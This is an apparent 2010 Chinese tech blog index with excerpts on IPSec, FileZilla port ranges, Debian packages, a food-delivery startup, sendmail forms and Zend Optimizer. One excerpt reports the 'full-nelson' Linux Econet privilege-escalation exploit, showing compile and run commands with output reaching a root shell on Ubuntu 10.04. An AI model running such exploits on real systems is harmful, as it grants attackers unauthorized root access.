12 月 282010
 

by Kaushik Das   

What is IPSec?

IPSec, is a framework of open standards (from IETF) that define policies for secure communication in a network. In addition, these standards also describe how to enforce these policies.

Using IPSec, participating peers (computers or machines) can achieve data confidentiality, data integrity, and data authentication at the network layer (i.e. Layer 3 of the Open Systems Interconnection 7-layer networking model). RFC 2401 specifies the base architecture for IPsec compliant systems.

This RFC says that “the goal of the architecture is to provide various security services for traffic at the IP layer, in both the IPv4 and IPv6 environments.” See also RFC 2402, RFC 2406 and RFC 2407 for more details on IPSec.

The main purpose of IPSec is to provide interoperable, high quality, cryptographically-based security for IPv4 and IPv6. It offers various security services at the IP layer and therefore, offers protection at this (i.e. IP) and higher layers. These security services are, for example, access control, connectionless integrity, data origin authentication, protection against replays (a form of partial sequence integrity), confidentiality (encryption), and limited traffic flow confidentiality. Continue reading »

12 月 222010
 

在路由器后,使用filezilla通过active mode连接ftp服务器,有时会遇到经常断线的问题.为什么说”有时”,因为连其中一台服务器正常不断线,连另一台就时常断线,所以许久没找到原因.

今天去filezilla官网看了一下说明,才发现我可能犯了一个错误. 给filezilla限定的port range太窄了,以至于同时传送很多文件时,新的tcp连接没有端口可以使用.

所以,如果你也有相同的困扰,那就把防火墙可允许的port范围调大一点,当然了ftp server的连接数限制不用改变.
同理,如果使用pasv mode,ftp server允许的port range也要大大于连接数限制. 使得传送另一个文件时,有端口可用.

If you do not want to allow incoming connections on all ports, or if you have a NAT router, you need to tell FileZilla to use a specific range of ports for active mode connections. You will have to open these ports in your firewall. If you have a NAT router, you need to forward these ports to the local machine FileZilla is installed on. Depending on your router model, you can either forward a range of ports or you need to forward all ports individually.

Valid ports can be from 1 to 65535; however, ports less than 1024 are reserved for other protocols. It is best to choose ports greater than or equal to 50000 for active mode FTP. Due to the nature of TCP (the underlying transport protocol), a port cannot be reused immediately after each connection. Therefore, the range of ports should not be too small to prevent the failure of transfers of multiple small files. A range of 50 ports should be sufficient in most cases.

12 月 172010
 

作者: 秋风的家

一、前言

所谓的软件安装,不管是那个系统,都是通过一定的方法把文件从源复制到目的,然后做一些配置工作,使其能正常的运行,卸载。

对于Linux来说,其目录的高度组织化,以及各软件依赖关系的复杂性,使得软件包数据库显得非常重要。

简单来说,软件包数据库最主要记录两点:

   1. 软件包包含的文件列表
   2. 软件的依赖关系

对与debian的软件包数据库来说,要做的事情更多:

   1. 软件的安装状态
   2. 软件的配置状态
   3. 软件的post-uninstall

有很多原因会导致软件安装失败,但大多数都集中在:

   1. 安装时的post-install
   2. 卸载时的post-uninstall

虽然不会对系统造成问题,但是每次安装软件,或者升级软件的时候,都会提示有软件包需要配置,其实的确很烦人。 Continue reading »

12 月 162010
 

2010-12 《网商》杂志

如果你认为我们只靠2-3元的差价维持生意,那就错了。商家所供给餐食的折扣才是我们的盈利重点。

2006年,在给肯德基修理“宅急送”电动车时,我初次萌生了做外卖的想法。

在创办“天天外卖网”之前,我一直从事电动自行车的经营工作。有一次做售后服务时,发现肯德基在北京的单店每天都有200余次的外卖出单量,乘以他们在北京的200多家餐厅,得出的结果让我心头一热。

一开始只是三分钟的热度,真正让我沉下心想做外卖生意,是一次再普通不过的加班餐。有人想吃必胜客的披萨、有人想吃麦当劳的汉堡,最终是各点各的,有些人已经吃完,有些人的还没送来。如果能有一家“外卖介”可以同时满足多人的用餐意愿,说不定是个不错的生意。

外卖市场现在还是寡头独大。肯德基、麦当劳、必胜客等大型国际连锁餐饮机构都有一套完善的外卖配送系统,其中包括经过准确调研而制定的配送费、高素质的配送队伍和星罗密布的配送网络。要是与这类财大气粗的外卖配送“大腕”正面交锋,我们这些势单力薄的“非正规军”肯定没戏。但如果去帮他们“跑腿”,也许就是个机会了。 Continue reading »

12 月 162010
 

当使用者在参观网页时,有时想 Email 给 Webmaster 但是再执行 Email 程式总是不方使,使用者在按下 mailto:[email protected] 还要花段时间打开自己这儿的 Outlook 岂不麻烦。这时,若是 Homepage 能提供写信的功能就太酷了。同时意见信箱还是以提醒或者要求使用者一定要填入哪些资料,这对资料仓储而言,也是了解客户的最好方法。

整个意见信箱其实就像 Outlook 或者其它电子邮件软体,开启寄发新邮件的功能,不同的地方在于使用 Outlook 时,寄件人是固定的,而要填上收件人的地址;而网站上的意见信箱,收件人几乎都是 Webmaster,反而是要填上寄件人的电子邮件地址。当然另一个不同之处是Outlook 处理寄信的动作;而意见信箱是由 Web 伺服器处理使用者发送的信件。

在更进阶的设计后,甚至可以变成 Web Mail,像 HotMail 般,只要用浏览器就可以在任何地方用任何电脑收发信件。

当然,也可以做进阶的设计,将使用者的意见储放在资料库中,留待日后整理成更有用的资料。不过这就不是这节要讨论的部份了。

在 UNIX 的系统中,大部份和电子邮件有关的问题都和 sendmail 有关,除非系统管理员较偏执,才会用其它的系统。因此,意见信箱的设计开发,也是使用 sendmail 来达成所需要的功能。而 WindowsNT 系统中,由于没有 sendmail 程式,需要另行符费购买,或使用其它的邮件派送软体,因此本节程式无法在 WindowsNT 系统执行。 Continue reading »

12 月 102010
 

系统安全高手Dan Rosenberg 发布了一段 C 程序, 这段200多行的程序利用了 Linux Econet 协议的3个安全漏洞,可以导致本地帐号对系统进行拒绝服务或特权提升,也就是说一个普通用户可以通过运行这段程序后轻松获得 root shell,以下在 update 过的 Ubuntu 10.04 Server LTS 上测试通过:

$ sudo apt-get update
$ sudo apt-get upgrade

$ uname -r
2.6.32-21-server

$ gcc full-nelson.c -o full-nelson
$ ./full-nelson[*] Resolving kernel addresses…
[+] Resolved econet_ioctl to 0xffffffffa0131510
[+] Resolved econet_ops to 0xffffffffa0131600
[+] Resolved commit_creds to 0xffffffff8108b820
[+] Resolved prepare_kernel_cred to 0xffffffff8108bc00
[*] Calculating target…
[*] Failed to set Econet address.
[*] Triggering payload…
[*] Got root!#

由于 RHEL/CentOS 默认不支持 Econet 协议,所以测试没有通过:
# yum update

$ uname -r
2.6.18-194.26.1.el5

$ gcc full-nelson.c -o full-nelson
$ ./full-nelson
[*] Failed to open file descriptors.

如果在企业环境用 Ubuntu 的话可能会比较杯具了 Continue reading »

12 月 102010
 

随着php的版本的升级,ubuntu上默认安装的php版本也从php5.2.x升级到了php5.3.x. 服务器上的一些php程序也是被开发商用zend的早期版本加密过的, 但是zend官方至今仍然没有提供zend optimizer的支持php5.3同时兼容php5.2的版本.

为什么迟迟无法推出支持php5.3的zend optimizer呢?
在zend的官方论坛上,官方工作人员在2009年9月做了如下回答:

by kentatzend on Tue Sep 15, 2009 6:54 pm
The problem is that as we looked into this it is simply not just Optimizer that needs to be updated but also Zend Guard. Zend Guard does not support PHP 5.3 and it appear that php 5.2 code that is encoded with Guard will not run properly in Optimizer/php5.3. So even if we released optimizer it probably would not work.

We need to build a new version of Guard & Optimizer that supports PHP 5.3 and … then people will need to re-encode/obfuscate with the new Guard to run on PHP 5.3.

So this is taking some time due to low level incompatibility that end users of PHP would never see but are important for stuff like this. Please bear with us as we update this product.

http://forums.zend.com/viewtopic.php?f=57&t=1365#p8770

by kentatzend on Sat Jul 04, 2009 1:54 am
We plan to release a zend guard and runtime for php 5.3 later this year.

意思是要继续等待,等待官方开发出支持php5.3的zend guard加密部分的软件,然后才能提供解密运行的zend optimizer的部分. Continue reading »